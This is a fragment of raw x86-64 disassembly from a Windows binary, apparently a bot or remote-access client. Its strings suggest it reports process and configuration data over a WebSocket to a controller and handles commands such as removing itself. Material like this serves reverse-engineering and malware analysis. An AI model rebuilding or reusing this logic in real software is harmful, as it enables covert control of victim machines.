lea rcx, [rbp + 0x190]
call fcn.140022b60
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.14000a270
mov rbx, rax
lea r8, [rbp + 0x90]
lea rdx, str.RBNCMDPATH_
lea rcx, [rbp + 0x150]
call fcn.140025210
nop
lea r8, [0x140092e40]
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140025450
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140025360
nop
lea rcx, [rbp + 0xf0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x150]
call fcn.140022a40
nop
lea rcx, [rbp + 0x230]
call fcn.140022a40
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x210]
call fcn.140003a00
mov rbx, rax
lea rdx, [0x1400a60b0]
lea rcx, [rbp + 0x2d0]
call fcn.140003fb0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
lea rcx, [rbp + 0x2b0]
call fcn.140022a40
lea rcx, [rbp + 0x210]
call fcn.140009440
nop
mov r8, rax
lea rdx, str.RBNPROCESSINFO_
lea rcx, [rbp + 0x130]
call fcn.140024fd0
nop
lea rcx, [rbp + 0x210]
call fcn.1400223d0
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x230]
call fcn.140003fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140003a00
mov rbx, rax
lea rdx, [0x1400a60b0]
lea rcx, [rbp + 0xf0]
call fcn.140003fb0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
lea rcx, [rbp + 0x150]
call fcn.140022a40
nop
lea rcx, [rbp + 0x230]
call fcn.140022a40
lea rcx, [rbp + 0x2d0]
call fcn.1400151d0
mov rbx, rax
lea r8, [rbp + 0xd0]
lea rdx, str.RBNCONFIGDATAS_
lea rcx, [rbp + 0x230]
call fcn.140025210
nop
lea r8, [0x140092e40]
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140025450
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140025360
nop
lea r8, [0x140092e40]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140025450
nop
lea r8, [0x1400a2c20]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.1400252f0
nop
lea rcx, [rbp + 0x190]
call fcn.140022a40
nop
lea rcx, [rbp + 0xf0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x150]
call fcn.140022a40
nop
lea rcx, [rbp + 0x230]
call fcn.140022a40
nop
lea rcx, [rbp + 0x2d0]
call fcn.140022a40
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x210]
call fcn.140003a00
mov rbx, rax
lea rdx, [0x1400a60b0]
lea rcx, [rbp + 0x2b0]
call fcn.140003fb0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x470]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
lea rcx, [rbp + 0x470]
call fcn.140022a40
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
xor edx, edx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x110]
call fcn.140022a40
nop
lea rcx, [rbp + 0x130]
call fcn.1400223d0
nop
lea rcx, [rbp + 0x170]
call fcn.140022a40
nop
lea rcx, [rbp + 0x90]
call fcn.140022a40
nop
lea rcx, [rbp + 0xb0]
call fcn.140022a40
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
call qword [rax + 0x38]
cmp eax, 1
je 0x14001f196
lea rsi, vtable.._AU_Callback__1____dispatch_P6AXAEBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z_WebSocket_wsclient__QEAAXP6AXAEBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___Z_Z_.0
call fcn.140012970
test al, al
je 0x14001f13e
lea rdx, str.RBNPROCESSBLACKLISTDUMPING_
lea rcx, [rbp + 0x90]
call fcn.140022b60
nop
mov rax, qword [0x1400a6130]
mov rcx, qword [rax]
mov rdi, qword [rcx + 0x10]
lea rax, [rbp + 0x190]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x190]
call fcn.140003a00
mov rbx, rax
lea rdx, [0x1400a60b0]
lea rcx, [rbp + 0xf0]
call fcn.140003fb0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140004040
nop
mov rdx, rax
mov rcx, qword [0x1400a6130]
call rdi
nop
lea rcx, [rbp + 0x150]
call fcn.140022a40
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
call qword [rax + 0x30]
nop
lea rcx, [rbp + 0x90]
call fcn.140022a40
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
xor edx, edx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x60], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
lea rdx, [rsp + 0x60]
call qword [rax + 0x40]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x1400a6130]
mov rax, qword [rcx]
call qword [rax + 0x38]
cmp eax, 1
jne 0x14001f088
xor esi, esi
mov rcx, qword [0x1400a6130]
test rcx, rcx
je 0x14001f1aa
mov rax, qword [rcx]
mov edx, r14d
call qword [rax]
call qword [sym.imp.WS2_32.dll_WSACleanup]
cmp qword [0x1400a2c50], 0
je 0x14001f1e6
lea rcx, [0x1400a2c40]
call fcn.140001600
imul ecx, eax, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140092c06]
lea rcx, [0x1400a2c40]
call fcn.1400229f0
nop
lea rcx, [rbp + 0xd0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x4d0]
call fcn.140022a40
lea r13, [0x1400a6110]
jmp 0x14001c9e5
cmp rbx, 0x27
jne 0x14001f2af
lea rdx, [0x1400a60b0]
lea rcx, [rbp + 0x750]
call fcn.140003fb0
mov rbx, rax
lea rdx, [0x140092de4]
lea rcx, [rbp + 0x730]
call fcn.140022b60
nop
mov r8, rax
lea rdx, str.RemoveThis
lea rcx, [rbp + 0x710]
call fcn.140025280
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x6f0]
call fcn.140025360
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140022aa0
lea rcx, [rbp + 0x6f0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x710]
call fcn.140022a40
nop
lea rcx, [rbp + 0x730]
call fcn.140022a40
nop
lea rcx, [rbp + 0x750]
call fcn.140022a40
jmp 0x14001e9df
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x1400a60b0]
lea rcx, [rbp + 0x7d0]
call fcn.140003fb0
mov rbx, rax
lea rdx, [0x140092de4]
lea rcx, [rbp + 0x7b0]
call fcn.140022b60
nop
mov r8, rax
lea rdx, str.CheckControllerConnection
lea rcx, [rbp + 0x790]
call fcn.140025280
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x770]
call fcn.140025360
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140022aa0
lea rcx, [rbp + 0x770]
call fcn.140022a40
nop
lea rcx, [rbp + 0x790]
call fcn.140022a40
nop
lea rcx, [rbp + 0x7b0]
call fcn.140022a40
nop
lea rcx, [rbp + 0x7d0]
call fcn.140022a40
jmp 0x14001e9df
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
int3
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.14006a6c0
nop
call fcn.140024c00
int3